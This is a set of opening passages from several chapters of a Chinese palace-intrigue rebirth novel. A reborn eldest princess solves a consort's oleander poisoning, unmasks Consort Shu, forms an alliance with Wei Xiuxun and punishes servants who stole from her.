《重生之长公主在上》
1. 洗前尘
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一阵疏雨落下，卷起满城风絮。尚容斜倚在假山旁，脑海中一片混沌，只觉草木掺杂着泥土的潮湿气味直往呼吸里钻。
“殿下！”
是翠桃的声音。
尚容微微蹙眉，却觉整个人失了气力，右手虎口处隐隐作痛，只得任凭额前的碎发被顺风飘来的细雨浸湿，紧贴在雪色的肌肤上，泛着丝丝凉意。
尚容心想，这梦竟似真的一般。
“啊！”不远处传来一声凄厉的尖叫。
声声入耳，尚容太阳穴突突直跳，陡然起身掀开眼帘。
入目是翠桃惨白的脸蛋。
尚容见她撑了一把桃粉印花油纸伞，慌忙从衣袖中抽出一块素帕替自己擦拭脸颊上的雨水，急得快要哭出声来。
“殿下……您方才可吓死奴婢了……若是磕到了头上，就算是奴婢的十条命也赔不起啊……”
尚容一时有些发懵，太阳穴隐隐作痛。
她分明记得自己在西察之时便死了。
她记得自己和亲抵达西察后的第二日，西察王便与靖国公开宣战，她也曾试过逃跑，但还是被抓了回去，最终成了两军阵前胁迫同袍的人质。
那一刻，她幡然醒悟。
她堂堂大靖长公主，却为了生存，低声下气懦弱了一辈子，最终活成了连自己都唾弃的模样。
放眼回顾自己的一生，如蜉蝣飘零，何等悲凉，又是何等荒唐！
于是她鼓起勇气，从袖中抽出一支凤凰六珠嵌丝金步摇，直直刺入脖颈。
噗嗤一声，尚容如今还能回想起尖利的金属划破喉咙的痛感，着实令她心头发怵。
但那一刻她的心却是自由的，是她从未感受过的自由。
鲜血从她的脖颈飞溅而出，洒落在泥土里，好似一朵朵妖艳的彼岸花。
尚容最后的记忆停留在一张年轻俊美的脸颊上。
晋安侯府三郎君魏修洵，也就是后来的新晋安侯。西察宣战之后，是他率军与西察王对峙，也是他亲眼目睹她结束了自己的生命。
或许是刺目的天光模糊了视线，这一次他未曾噙着嘴角，只是微微低着头，如黑曜石一般深沉的眼眸静静地望着她。
然后，尚容便觉有什么东西扯着她的骨头往下坠落，最后意识沉入一片混沌。
再然后醒来，便是如今这般景象了。
尚容揉了揉太阳穴。
莫非自己没死在西察？而是被人救回了宫中？
尚容还欲细想，却见不远处的宫殿内冲出来一个发髻散落，浑身是血的宫女。
她脚步虚浮，见到尚容便双腿跪地，如同抓住救命稻草一般死死攥住她落在地上的衣袂的一角。
“殿下！奴婢求您救救我们家主子！”
少女眼眶殷红，咬紧了牙关，用一种锥心的目光抬头望着她。
此人尚容认得，名唤司云，颇有几分才干。
在尚容的印象中，她一生只认过两位主子，一位是当年重病亡故的刘贵人，另一位则是在她困窘之时施恩的皇后。
尚容眉心微蹙，顿时醒悟。
既如此，她如今要救的莫非是刘贵人！
如此说来，她并非是被人救回了宫中，而是回到了她十八岁的时候，距离祖母蹊跷离世，她被迫和亲还有大约一年的时间。
或许真是上天垂怜，又赐予她重活一次的机会。
既然俯首只会换来旁人的凌辱与践踏，那这一回她便要手握大权，主宰自己的人生。
如今，是她占得先机，很多事情尚有转圜余地，她不愿看到悲剧在她面前重演。
凝雪阁内来来往往的宫女不少，自己身上又染了血迹，众目之下尚容心知若真出事自己已然有口难辩。
事已至此，不如前往探查究竟，既是为了一条鲜活的生命，也是为了她自己。
“翠桃，传太医！”
“奴婢遵命。”
司云陡然起了身，含着泪花的眼眸泛起几分光亮，转身快步向殿内走去。
尚容进入殿内，见刘贵人软软地靠在黄花梨木雕玫瑰椅上，口吐鲜血，面色苍白如纸。
“娘娘！娘娘您一定要撑住啊！”
司云扑到刘贵人身前拼了命地用手中素帕替其拭去血迹，然则自刘贵人嘴角渗出的紫红色血液越来越多，一方素帕一瞬间被染红了大半。
尚容察觉到她失血过多，气若游丝，这具身体怕已是强弩之末。
“殿下……”刘贵人吃力地睁开双眼，却已是黯淡无光。
“贵人，是谁害的你？”尚容走到她身前，握住她泛着凉意，微微颤抖的手，眉头紧锁。
“殿下不该……来此……”
刘贵人摇了摇头，靠着椅背身体微微抽搐，双目无神。行至生命的边缘，她竟忍不住笑了出来，只是落入尚容眼中尽是凄凉。
尚容明白此言何意。
她四岁时母后崩世，帝王册立新后，从此受父亲冷落，新后刁难，姊妹孤立，下人冷眼，唯有祖母对她宠爱有加。
她虽为长公主，实则无权无势，自己在这宫中尚且举步维艰，如今撞破凝雪阁之事便是引火上身，稍有不慎便会成了替罪羔羊。
然则尚容明白，若自己还如从前一般胆小怕事，蒙上眼睛捂住耳朵就想把自己变成一个又瞎又聋的废人，那才是枉费重活一世。
“殿下若能……保全自身……便……不要再查……下……”
声音逐渐轻了下去，尚容感觉到扶着自己小臂的手逐渐无力，最终无声地垂落。
“娘娘！”司云抱住刘贵人，声音哽咽。
“刘妹妹，听闻你病重，皇后娘娘与本宫来……啊！”
就在此时，尚容背后传来一阵熟悉的吴侬软语。她微微侧身，便见淑妃翘着兰花指的手勾着手帕捂住嘴唇，眼神惊惧。
“张太医，快去给刘贵人瞧瞧。”皇后缓缓走到一旁的紫檀雕荷花纹太师椅前安坐，只是低头整理金玉护甲，眼神淡淡。
“禀皇后娘娘……刘贵人已然殁了。”太医颤颤巍巍道。
“人是怎么没的？”
“回皇后娘娘，刘贵人的症状应是中毒。”
淑妃抚着胸口，微微抬眸，望向尚容的眼神中流露出一丝关切：“容儿可是恰好路过此处？想来也是怪吓人的，本宫现在心里还难受得紧，倒是难为你了。”
此言一出，众人的目光便都落在了尚容身上。
若是放在往常，尚容怕是已然心乱如麻，无半分头绪。只是今日，她直视众人目光，冷静自若。
从前是她识人不明，淑妃是二公主生母，长于江南，生得一副柳叶眉，杏仁眼，是宫里人尽皆知的好性子，活菩萨。
只是这一张人畜无害的面庞下，却藏着一颗狠毒算计的心。这个女人，她信了一辈子，直到临死之际才将其看透。
尚容第一次见到温若婉之时，她还只是温嫔，刚刚产下皇女。那时尚容刚刚丧母，受宫中冷眼，唯有淑妃对她笑语相待。
当时尚容性子尚且倔犟，受了委屈，常寻淑妃哭诉，那时淑妃便劝她宫中生存不易，不如柔弱些，必要时多认错，事情便会很快揭过。
而后，尚容遇事便不再反抗。时间久了，她似也习惯了处处低身下气，看他人脸色生存，最终活成了令世人都笑话的模样。
如今尚容细细回想，淑妃或许从一开始便是为她的子嗣铺路，磨平她的性子只是为了将来有朝
2. 遇故人
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“灵儿，将这香灭了，本宫闻着有些头疼。”
“是，娘娘。”
尚容方才迈入钟粹宫，尚在主殿外便闻见殿内隐隐传来丝丝缕缕丁香夹杂着桃花的清甜香气。
“娘娘，长公主殿下来了。”
尚容进入主殿见宣妃一身素衣，斜斜地倚靠在紫檀漆木竹节太师椅上小憩，此时缓缓掀开眼帘打量着自己。
“方才听闻娘娘闻着这香有些许不适，不妨加入一味龙脑香或是薄荷油，或有奇效。”尚容丹唇外朗。
少女正值妙龄，已然出落得清丽明媚，灼若芙蕖。宣妃鲜少出钟粹宫，见到尚容心中泛起几分欢喜。
她轻声笑道：“殿下所言甚是，那便多谢殿下了。”
“本宫听闻凝雪阁出事了，人如何了？”宫女灵儿端来一盏药汤，宣妃微微蹙眉，忍着不适一饮而尽。
“人殁了。”尚容从容答道，“如今所有线索都指向娘娘，然本宫却不觉得是娘娘所为。”
宣妃似是未曾料到尚容会将事情和盘托出，眼眸深处闪过一丝情绪。
她微微侧目，瞥见殿外附在门后的一处身影，笑道：“修洵，既然来了，就进来坐坐吧。”
尚容闻声抬眸，便恰巧与魏修洵四目相对。他勾了勾唇，随即微微欠身行了一礼。
“魏修洵见过长公主殿下。”
尚容见魏修洵着一身靛蓝绣金流云纹圆领长袍。
他长眉斜飞入鬓，偏又生了一双含情的桃花眼，难掩张扬。若悬胆的鼻梁一侧缀了一颗色如朱砂的浅红小痣，唇角微噙，俊美之余着实称得上艳丽二字，却又不失风骨。
此人便是晋安侯府的三郎君，虽玩世不恭，却生了一副令天下女子皆艳羡的好皮相。
若是放在从前，尚容并不会太过在意，只是经历了前一世，亲眼目睹此人从以风流闻名的侯府庶子一路袭爵，最终成为手握兵权的大将，她便心知此人最擅伪装，怕是冷血无情，不好相与。
正如今日这般，尚容方才未曾察觉，不知他何时站在殿门口，又听得了多少她与宣妃的谈话。
“不必多礼。”
尚容按捺住心中情绪，强迫自己回过神来，不令人看出一丝错漏。
“本宫相信殿下定会还本宫一个清白。”宣妃抿唇咳嗽了几声，抬手轻揉太阳穴，随即起身轻声道，“本宫身子不好，有些乏了，殿下若想查些线索让修洵带殿下去便好。”
“如此……娘娘安心歇息。”
“姐姐安心歇息。”
尚容微微侧身，再次对上魏修洵如黑曜石一般的眼眸。
光影掠过，如玉雕般的脸颊上棱角分明，他嘴角微勾，言语间夹杂着似有若无的轻佻。
“殿下可是有些怕我？”
“并未。”尚容下意识地偏过头去，朱唇微启，“烦劳魏郎君带本宫前往灶房，前些日子宣妃娘娘偶感伤寒去太医院开了药方，想必还剩了些药渣。”
魏修洵微微颔首，起身拂了拂衣袖，眉眼轻扬：“殿下请随我来。”
魏修洵引尚容入了灶房，斜靠在一旁双手抱胸。
小宫女盛了一盘棕褐色药渣，向尚容欠身行礼：“殿下，娘娘用剩下的药渣都在这里了。”
尚容对张太医使了个眼色，张太医便接过药渣，取了少许细细嗅闻辨认。
“殿下，药渣没错，依微臣看应是四日的药量。”
尚容察觉到一丝异样，转眄流精：“本宫记得药方可供七日药量，如此便应有剩余。”
“殿下所言丝毫不差。”
“用剩下的药都放置在灶房西侧的小屋内，奴婢带您去。”一旁的小宫女是个机灵的，很快开口道。
行至小屋，尚容远远望见小宫女进入屋内打开抽屉取出几味药，然而又仔细查找了多次未曾转身，神色逐渐有些慌乱。
“如何了？”
尚容察觉到有些不对，一时心急走了进去，却不成想此屋常年废旧，气味潮湿难闻，连连咳嗽好几声。
就在此时，尚容的指尖划过一丝温度。她微微垂首，便见魏修洵塞了一只白玉镂雕双鱼香囊到自己手中，看上去甚是精致。
“这里面是姐姐亲手制的甘松香，香气淡雅可去味，对殿下有益。”
魏修洵料到尚容心中所虑，勾唇浅笑：“殿下不必多虑，用完还我便是。”
此言一出，尚容便知晓自己心绪被猜出，此人倒是个心细的。她闻着潮气着实难受，便将香囊放近了些低头细闻，甘松清香淡雅，果真令她舒适不少。
“多谢魏三郎君。”她嘴角轻弯，抬眸一笑。
“殿下，公子，剩下的药里少了一味夹竹桃！”小宫女将抽屉里的药全部翻出摆放在桌面上，急得小脸涨红。
看来果真有人设好了局，借她的手等着宣妃往里跳。
尚容神色严肃，细想：又或许凶手原本只想不了了之，如前世一般对外声称刘贵人病重亡故，只是恰好被她撞破，便用了后手欲栽赃嫁祸。
果真好手段！
“这间屋子平日有谁来过？”尚容道。
“回殿下的话，来来往往的宫人不少。”
“如此便有些难了。”魏修洵道。
“张太医，若本宫不曾记错，接触夹竹桃会双手会起红斑，麻木发痒，可对？”
“不错，只是这与此案有何关系？”张太医颔首，有些不解。
魏修洵眉心微挑，侧身望见尚容薄唇轻抿道：“纵然来者带了工具也会触碰少量粉末，夹竹桃毒性烈少量便可致敏，这几日钟粹宫内人手并未有变，想来人还在钟粹宫，一一查验便知。”
“殿下果真聪慧，我竟不知殿下还懂药理。”
魏修洵言煜试探，然则尚容却不欲与他多加纠缠，只道：“本宫不懂药理，只是略懂一些香道，以夹竹桃入香有过经验罢了。”
“将钟粹宫内所有人叫到屋外，本宫要一一询问查验！”
“是，殿下！”
片刻后，屋前便围了二三十人，远远望去乌泱泱一片。
“钟粹宫里的人都在这儿了？”尚容高声问道。
“回殿下，都在这儿了。”小宫女应道。
“翠桃。”
尚容给翠桃使了个颜色，翠桃随即走上前去翻开手一一查看。
尚容立在青石台阶上，远远便望
3. 戏中局
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待尚容回过神来已然来不及了，她额间沁汗，手心发凉，下一刻细腰却被一双手稳稳托住，她直直靠在青年男人结实的胸膛前，迎面而来的皆是甘松淡雅的香气。
尚容抬眸，清冷的月光落在青年男人的脸颊上，衬出他如玉雕般棱角分明的容貌。
那双桃花眼微动，薄唇轻抿，不经意间流露出几分风情，若换作一身红衣，尚容怕真以为此人是个妖孽。
“殿下可曾受伤？”魏修洵微微垂首道。
“多谢魏三郎君，本宫无事。”尚容回过神来，微微侧身从他的怀中逃了出去，心却不由得跳得微快。
“那便好。”魏修洵勾唇，嘴角渗着几分轻蔑，“皇宫内苑竟敢刺杀皇女，看来背后之人已然沉不住气了。”
“方才的动静想必惊动了羽林军，此人逃不出去，不过多半也是个死士，并无价值。”
尚容颔首，余光瞥见魏修洵握着暗箭的右手。暗箭锋利，情急之下箭头划过虎口，倒刺便钻入皮肉，鲜血淋漓，一路没入衣袖，染红了一处袖口。
尚容看着便是极痛，偏生魏修洵慢条斯理扯下了左手袖口的一块布条，将伤口简单包扎好，从始至终未发一言。
对自己狠，对旁人更狠。尚容忍不住心想。
尚容本想狠下心去置之不理，然而或许因为心底愧疚作祟，她还是道：“琼华宫里有上好的金疮药，明日本宫差人送些到郎君府上。”
至少此人如今对她无害。
魏修洵眉眼轻扬：“那便多谢殿下了。”
“不好！”魏修洵唇边笑意隐去，眸色渐沉。
“杀人灭口！”尚容眉心微蹙，脱口而出。
待二人回到钟粹宫，见那宫女安然无事，却望见底下人多交头接耳，窃窃私语。
“出什么事了？”
一旁的小宫女神色微怯，声音发颤：“回殿下……储秀阁的庄贵人半个时辰前摔了一跤，据说满头是血……人也傻了……”
尚容侧身与魏修洵对视，眉眼坚毅：“此事蹊跷，去一趟储秀阁。”
魏修洵颔首。
二人行至储秀阁外，远远便听闻阁内传来丫鬟此起彼伏的哭声叫唤。
“已经入夜，以免落人口舌，还请魏三郎君候于阁外。”
尚容思虑周全，魏修洵便不再多言，浅笑应下，望着她与翠桃二人步入储秀阁。
阁内点着熏香，烟雾萦绕，栀子花香气浓郁，因窗户紧紧掩着气味封闭更显几分呛人。
“贵人！您别跑了贵人！”说话的是庄贵人的贴身丫鬟浣溪，她追着庄贵人几乎喘不过气来，泪眼朦胧。
隔着一扇酸枝木镂雕丝绸刺绣屏风，尚容隐隐窥见浮动的人影。然而下一刻，那人冲上前来，尚容未有防备，踉跄了几步才站稳。
那人一身宽袖红衣，长发凌乱遮住半张雪白的脸蛋，额间隐隐浮现一小片血迹，鲜血顺着鼻梁蔓延至下颚，最终没入领口，看着格外瘆人。
不仅如此，她笑容乖戾，很难令人与一向举止端庄的庄贵人联系起来。
浣溪见庄贵人横冲直撞，险些伤着尚容，连忙将庄贵人锁在怀里，欠身抽泣：“我家贵人方才冲撞了殿下，奴婢替贵人给您赔不是。”
“无妨。”尚容本也没打算和一个痴傻之人计较。
“听说你家贵人摔了一跤，你可曾亲眼所见？”
浣溪摇了摇头：“当时贵人说想喝蜜枣汤，因着贵人喜欢奴婢做的口味，奴婢便去灶房煮汤了，回来贵人就成了这副模样。”
倒也是个护主的。尚容心想。
“本宫听闻你家主子素来与淑妃走得近。”尚容仔细打量了一番阁中的陈设，勾了勾唇，“你便不觉得此事有些蹊跷？”
“殿下何意……”
浣溪的脸色暗沉下去，眼神有些慌乱，托着庄贵人小臂的右手微微攥紧，生生将上好的绸缎蹂｜躏出了些许褶皱。
“人已在本宫手里供认不讳，你家贵人谋害皇嗣的罪名已然落实，可这个时候，她却傻了。”尚容朱唇轻抿，心若明镜。
“她一傻，线索便断了。谁受益最多，你与你家贵人当比本宫更清楚。”
浣溪嘴唇发白，不敢抬头直视尚容。
“本宫能看出来，你对你家主子一片忠心。本宫亦知晓庄贵人素来安分守己此事并非出自她本意，若你从实招来本宫虽不能保你和你家主子不死，却也会竭尽所能保你们家人性命。”
“否则，谋害皇嗣是什么下场……”尚容嘴角轻勾，笑意凉薄，“你们应该清楚！”
浣溪双腿发软，径直跪了下去，声音嘶哑：“求殿下为贵人与奴婢做主！”
储秀阁外，魏修洵远远望见熟悉的身影。
“都招了？”他眼尾微微上扬，玩味一笑。
“差不多了。”尚容微微颔首，脸色沉重，“戏台都搭好了，就等戏中人了。”
“殿下可否需要魏某相助？”
尚容抬眸与其对视：“确有。”
很快，各宫都收到了消息。大约半个时辰后，众人先后到了琼华宫。
淑妃来得最迟，夜里微凉，她便在海棠红镶金滚边宫裙外披了一件月白狐毛披风。她眉头微蹙，未戴护甲，似是掩着几分倦意。
她望了一眼尚容，笑道：“这么晚了，容儿叫我们来，可是事情有着落了？”
“不错。”尚容淡淡道。
皇后瞥了一眼姗姗来迟的淑妃，眉心微蹙：“既然人都到齐了，便开始吧。”
“经过容儿的一番探查，发现幕后之人便是庄贵人。”
“有何证据？”皇后道。
“先前容儿与张太医发觉宣妃娘娘送给刘贵人的春雨荷花酥的酥皮内藏有极少量的夹竹桃粉末，夹竹桃粉末毒性较强，加之刘贵人怀有皇嗣身体孱弱，又多日食用荷花酥，这才毒发身亡。”
“继续说。”
尚容神色淡淡：“之后容儿前往钟粹宫查探，查明宣妃娘娘七日前偶感风寒太医院开的药方中确有一味夹竹桃，然则娘娘只用了四日汤药，剩下的夹竹桃粉末却不翼而飞。”
尚容继续道：“触碰夹竹桃粉末之人手上会起红斑，又因最近几日钟粹宫内无人调离，便知晓偷取夹竹桃粉末之人还在钟粹宫内。一番寻找之下，果然发现了一人右手指尖有明显红斑。”
皇后将白玉杯送到唇边轻抿了一口茶，眉间染得几分愠色：“把人带上来！”
“奴婢秋梨参见皇后娘娘！皇后娘娘千岁千岁千千岁！”宫女秋梨双膝跪地，重重地磕了三个响头。
“从实招来。”皇后朱唇微启，俯视着面前宫女，凤眼之间尽是威严。
“是！”
“是庄贵人心妒刘贵人身怀龙嗣，又得知宣妃娘娘染了伤寒，便买通奴婢偷走宣妃娘娘药方中
4. 论盟友
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淑妃面色惨白如纸。分明是个凉夜，她的额间却沁满了汗珠，方才直起的身子在尚容的俯视下软软地塌了下去，双眼暗暗发红。
“方才容儿在回琼华宫的路上遭遇刺客，若非魏三郎君出手相救，恐怕容儿早已没命了。”尚容冷冷道。
事已至此，谋害皇嗣已是死罪，淑妃心知辩无可辩，只是默声不语。
然而她的眼眸依旧死死地盯着尚容，良久直起身来与尚容对视，冷笑一声，声音低沉近乎啼血：“本宫想你软弱无能，却未察觉你如此藏拙，竟是头会吃人的猛虎……”
“淑妃娘娘过誉了，容儿不过是为了自证清白罢了。”尚容处变不惊，神色淡淡，字字句句却都插在淑妃的命脉上，“谋害小辈这样的事容儿可是断然做不出的。”
是非已了，皇后重重地拍了一下桌面，威严尽显。
“淑妃，你也是宫里的老人了！谋害皇嗣，行刺皇女，桩桩件件皆是死罪！本宫会将此事如实禀报陛下，你便去冷宫里听候发落！”
皇后挥了挥手：“来人！带走！”
此时门口跌跌撞撞闯入一个身着鹅黄嵌孔雀丝锦绣宫装的少女。少女看上去十四五岁的模样，泪眼涟涟，惹人生怜。
“音儿，你来做什么！快回去！”淑妃脸色一黑，伸手就欲将其往外推。
尚音不顾淑妃阻挠，径直跪在皇后身前，哽咽道：“皇后娘娘，母妃定是受人蒙蔽，母妃是清白的啊！”
受人蒙蔽？尚容冷笑一声：若犯下此等滔天罪行还能以受人蒙蔽为由逃脱责任，这天下便是该乱了！
“音儿！”
皇后本就在气头上，见尚音为淑妃求情眼底愠色更盛：“如今铁证如山，无需多言！倒是音儿你，平日不知多开导你母妃，今日倒还替她求情！”
“罚你禁足三个月！无本宫手令不得出清荷宫半步！”
尚香顿时面色惨白，转身望见尚容抚在宫裙上的右手不由得微微攥紧。
“容儿，此事你做得不错，本宫便赏你一副上好的银烧蓝嵌宝石珍珠头面如何？”
尚容欠身行了一礼，抬眸道：“容儿也是得了皇后娘娘的命令彻查此事，如今真相大白容儿不敢居功，也不求赏赐。”
皇后微微愣住，随即回过神来浅笑道：“也好，日后若你想好了赏赐再来找本宫也不迟。”
“今日天色已晚，本宫也有些乏了，便散了吧。”
“恭送皇后娘娘！”
“恭送皇后娘娘！”
一整日忙于查案，尚容早已觉得身子疲惫，待众人离去后便倚坐在黄花梨雕花藤太师椅上，却听得门口传来一阵细碎的脚步声。
尚容缓缓睁眼，见是刘贵人的贴身丫鬟司云。她见了自己径直跪了下去行跪拜大礼，尚容上前搀扶，她却执拗不起。
“多谢长公主殿下还我家主子公道！殿下大恩，司云没齿难忘，日后就算殿下要奴婢这条命，奴婢也舍得！”
“本宫不是圣人，却也不想要你的命。”尚容将司云扶起轻笑道，“过几日本宫会安排祖母送你到内务府办差，日后若本宫有事，自会来寻你。”
“多谢殿下！”司云言辞恳切，眉眼坚毅，“奴婢定将嘴管严。”
尚容知晓此人做事周到，颇晓事理，是这宫中少有的聪明人。
前世刘贵人死后，司云本要被淑妃私下卖往宫外青楼，却被皇后救下，日后凭一己之力成为了内务府第一位女总管，风头无两。
她虽无意插手内务府之事，但前世祖母之死着实蹊跷，内务府掌管皇宫大小事宜，若司云在内务府，到时候查起来也方便些。
尚容缓缓抬眸，本以为司云已然退下，却未曾想她竟在原地立着望着自己。
“有事？”尚容难得有些拿不准主意。
司云颔首道：“奴婢无事，只是方才在门口遇见魏三郎君，郎君让奴婢替他传话给殿下。”
“他说夜色已深他便不进琼华宫了，人已经交于宫内侍卫看守，明日邀殿下于听雨楼一叙。”
听雨楼……似是开于京都最繁华的雀云街上的一处琴阁，尚容听闻阁中装饰古朴典雅，珍藏着不少古琴。只是尚容素来不擅抚琴，对琴自也无甚兴趣。
“他猜到殿下心中不愿去，让奴婢传话说……”司云微微蹙眉，道，“殿下会感兴趣的。”
这个魏修洵……还真是了解她。
尚容微微勾唇：罢了！她早已无所惧，明日倒要看看这位魏三郎君的葫芦里，卖的究竟是什么药。
次日清晨，尚容用过早膳便出了宫门坐车前往雀云街。大约过了半柱香的功夫，马车停下。
“贵人，听雨楼到了！”
尚容拉开帘子在翠桃的搀扶下走下马车，抬眸便见“听雨楼”三字。笔风狂放不羁，行至深处却又添秀丽风骨，着实是好字。
尚容的余光落在落款的一行小字：魏修洵。
竟是出自魏修洵的手笔！倒还真是字如其人。尚容心想。
她从衣袖中掏出一粒碎银递到车夫手中，道了一句“多谢”，随即转身入了听雨楼。
尚容初入听雨楼环顾四周不见魏修洵踪影，却见桌面上摆放的古琴漆面光滑平整，用料破为考究，加之琴声圆润和谐，皆是上等的好琴。
更不论酸枝木竹纹雕花长桌上搁置的几把古琴，皆出自典籍，流传甚久，想来势必价值连城。
“这位想必就是魏三郎君口中的贵人了？”
尚容闻声转身，见来者一身深蓝对襟窄袖长衫，头戴玄色刺绣圆帽，想来便是这听雨楼的掌柜了。
“不知魏三郎君如今人在何处？”
掌柜双眼浅眯，挤出额间一丝皱纹，笑道：“郎君已在楼上静候多时，贵人随我来。”
尚容微微颔首，随着掌柜上了台阶。
尚容未曾料到这听雨楼占地颇多还有二层，想来又开在如此繁华的雀云街，一万两白银恐怕也是有市无价。
掌柜引尚容上楼入了东侧的雅间，尚容推门而入见魏修洵正抬眸望着自己。
“早啊……殿下。”
5. 惩恶奴
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魏修洵微微挑眉，唇角笑意浓重，不予置否。
尚容素来对继承侯爵的人选漠不关心，只是若魏修洵真能有助于她，此事未尝不可。
“只是本宫如今恐怕帮不了你。”
魏修洵勾了勾唇，随即取了两颗晶莹油润的蜜饯扔入口中：“无妨，只愿日后殿下大权在握之时莫要忘了今日与我之约定。”
“殿下接下来打算如何做？”
尚容缓缓开口：“本宫打算在宫外做生意。”
此事似是出乎魏修洵的意料，他直起身来凝视尚容，心中若有所思，良久道：“可以。若这听雨楼殿下瞧着还算合意，我愿以低于市价六成的价格转入殿下手中。”
“此外，我手下有一女娘名曰韶淳，擅武艺懂经营，想来殿下应是用得上，我明日便遣人送她入殿下宫中，殿下亦可随时与我联络。”
想得倒是细致入微，尚容心知自己身边正缺这样的人手，便未曾推辞。
“魏郎君求爵，志在何处？”
几乎是下意识地，尚容问了这么一句。
说到底尚容印象里前世自己与魏修洵不过点头之交，对此人不甚了解。她想知道，像魏修洵这般心思深沉的人，是否与那些人无异，为钱亦或是为权？
声声入耳，魏修洵唇角的笑意逐渐隐去，他缓缓抬眸，眸色渐深，声音里藏起了几分少年人的清透，反倒多了几分成熟的老练。
“高墙之内，并非不争便可安身，这一点，殿下应比我更明了。”
“无人愿被困囹圄，但要展翅便不能沉溺其中。其实殿下与我是一样的人。”
好一个并非不争便可安身。尚容朱唇轻抿，这是她用鲜血的代价领悟的，前世那般的身不由己，那般的牢笼与噩梦，她再不愿回首，更不愿任人摆布。
“那殿下呢？”魏修洵反问。
“为一个梦，为如我一般的人。”尚容透过窗，远望见冉冉升起的旭日，缓缓道。
“魏郎君愿以何价格出手？”
此话自然意指听雨楼。
“四千两。”魏修洵比了个手势。
尚容微微颔首：这般好的地段，四千两的价格在如今的京都已然甚是难求。更何况，听雨楼为她省去了装饰的大笔费用，无论如何，她都不吃亏。
“给本宫三日时间，三日后听雨楼见。”
言罢，尚容转身下楼上了马车。
尚容神色不显，倒是一旁的翠桃终于按捺不住，小脸通红：“四千两啊殿下！我们琼华宫素来拮据，如何能拿出四千两！”
“不然殿下去求求太后娘娘？太后娘娘最疼殿下了。”
尚容方才倚靠在马车内的软垫上小憩，此时缓缓掀开眼帘。
“祖母是疼我，可我也不能事事劳烦祖母。”
翠桃一下子泄了气瘫软下去，嚅嚅道：“从前太后娘娘赏赐给殿下的首饰不少，都怪那些手脚不干净的，如今竟只剩那支金步摇了。”
尚容未曾想翠桃还有这般心思，不禁轻笑出声来，伸手轻轻地在翠桃的额头上弹了一下：“你倒是和我想到一块儿去了。”
翠桃似是悟了一般：“殿下莫不是想……”
“从前不追究不代表我心中没有数。”尚容眸色渐深，“手脚不干净得到的东西，就算吃进去了也有吐出来的那天。”
尚容轻抚衣袖，似是想到什么：“翠桃，那只白玉镂雕双鱼香囊你可知放在何处？”
“殿下今日换了身衣裳，香囊估计是落在梳妆台了，都怪奴婢。”
“也罢，我本想着今日物归原主，是我忘了不是你的错。”
“贵人留步！”
此时马车外传来一声叫唤，尚容掀开车帘见是听雨楼掌柜。
“掌柜可有事？”
“魏三郎君知贵人忘了将香囊带在身上，让小的转告贵人日后记起再还也不迟。”
“多谢，我知晓了。”尚容浅笑道。
半柱香后，尚容回了琼华宫。她方才迈入主殿，便见一个身着浅灰麻布裙的婆子拥了上来。
那婆子扯着一张讨好的微笑，主动接过翠桃手中的古琴，眼神流露出些许异样的光亮。
“殿下回来了！这琴老奴瞧着着实好看，与我们家殿下啊……相称得紧！”
尚容勾了勾唇。看来是昨日她破了案得了皇后称赞，连带着这些从前对她冷眼相待的下人们也开始讨好起她来了。
只是这本性……终究难改。
“嬷嬷这只和田白玉镯子成色着实是好，竟与去年年夜祖母赏本宫的那只瞧着不相上下，本宫竟都未曾戴过。”
尚容笑着挽起那嬷嬷的衣袖，仔细打量着手腕上的和田白玉镯。
嬷嬷神色一惊，连忙将衣袖抚齐整道：“殿下说笑了，殿下何等人物，老奴怎配与殿下相比？”
“这镯子不过是老奴那不成器的儿子买的，只是瞧着成色好，其实值不了多少银子。”
“原来是这样……”尚容丹唇外朗，眼神天真无邪。
若是放在从前，纵然她心中有数也怕惹是生非不愿深究，只是今日此人倒是撞上了她的枪口，还真是得来全不费工夫。
尚容神色一凛，甩开那嬷嬷的衣袖道：“朱嬷嬷，宫里进贡的成色在你口中怎的成了值不了几个银子？”
“本宫不识珠玉，不若拿给祖母瞧瞧，看这桌子究竟值得上多少银子？”
朱嬷嬷本以为尚容是个糊涂的，这些年被手下人拿了多少好东西都不敢声张，胆子自然也就肥了些，未曾想尚容今日竟似便了个人似的，言下之意是要把她送到太后那儿去。
太后是什么人物？那是眼里容不得沙子的人！若是被发现了自己手脚不干净，恐怕逃不过杖毙一死。
朱嬷嬷面色惨白，双腿顿时软了下去，啪嗒一下跪在地上去抓尚容的衣裙的一角，取下镯子哀叫道：“饶命啊殿下！老奴……老奴再也不敢了！”
尚容轻笑，眼底竟似真无责怪之意：“平日里没少拿好处吧？”
朱嬷嬷听罢将头埋得更深了些：“没有！绝对没有殿下！是老奴生了狗胆，但这是唯一一次啊殿下！”
“唯一一次。”
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6. 忆旧梦
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“殿下，您真的和以往不同了。”
待底下人低着头四散开去，尚容抬眸边见一旁的翠桃用含着几分异样的眼神望着她。
尚容哭笑不得：“有何不同？”
翠桃搁下方才新沏好的茶，仔细回想道：“您从前总告诉奴婢不要惹事，能忍便忍，可是您昨日自请查案，不惜得罪人将淑妃拉下水，今日又教训了这些底下人吐出手脚不干净得来的东西。”
声声入耳，尚容只觉分明未曾过去多久，如今想来却恍若隔世。
不知为何，尚容却想起了一句话。
良久，她长舒了一口气，淡淡道：“可有时候，并非不争便可安身。他人犯你，只因你软弱无能，而你的软弱反倒成了被欺辱的合理借口。”
她伸出满是伤痕的红肿的右手，任凭明朗的日光落在她的手心渗出几分暖意，似要以破碎残败的血肉盛起一线生机。
尚容犹记得，那是她尚在西察逃跑时留下的。
届时两国宣战，她为了自保，亦为了不成为威胁昔日同胞的人质，用藏在衣袖中的迷药迷晕了守卫，孤身一人逃了出去。
尚容记得是个寂静无声的漫漫长夜，然而困住她的地方之外便是无垠的荒原，无处遮蔽，是以好几次她俯身前行，任凭粗糙的沙石磨破她柔嫩的双手。
从始至终，她未吭一声。月光散落在她的脊背上，她竟觉得刺骨地寒冷。
到了后半夜，守卫有所察觉，尚容还是被抓了回去。这一次，为了防止她逃跑，她的双手双脚都被拷上了沉重的铁铐，只得靠在营帐里不得动弹。西察王下令免了她的吃食，让她体会到了阶下之囚的滋味。
想到此处，尚容的眼眶微微泛红。
不过好在第二日，她便成了阵前之质，倒是不用体会铁铐的滋味了。
那一日狂风猎猎，卷起漫天风沙，似要将无垠的荒原淹没，就连空气也被裹上了厚重压抑的味道。
尚容犹记得两军阵前强烈的日光毫无遮挡地落在她的脸庞上，刺得她几乎睁不开双眼。
“殿下，孤劝你乖觉些，让你的同胞放下武器，说不定孤还能发发慈悲饶你一条性命。”
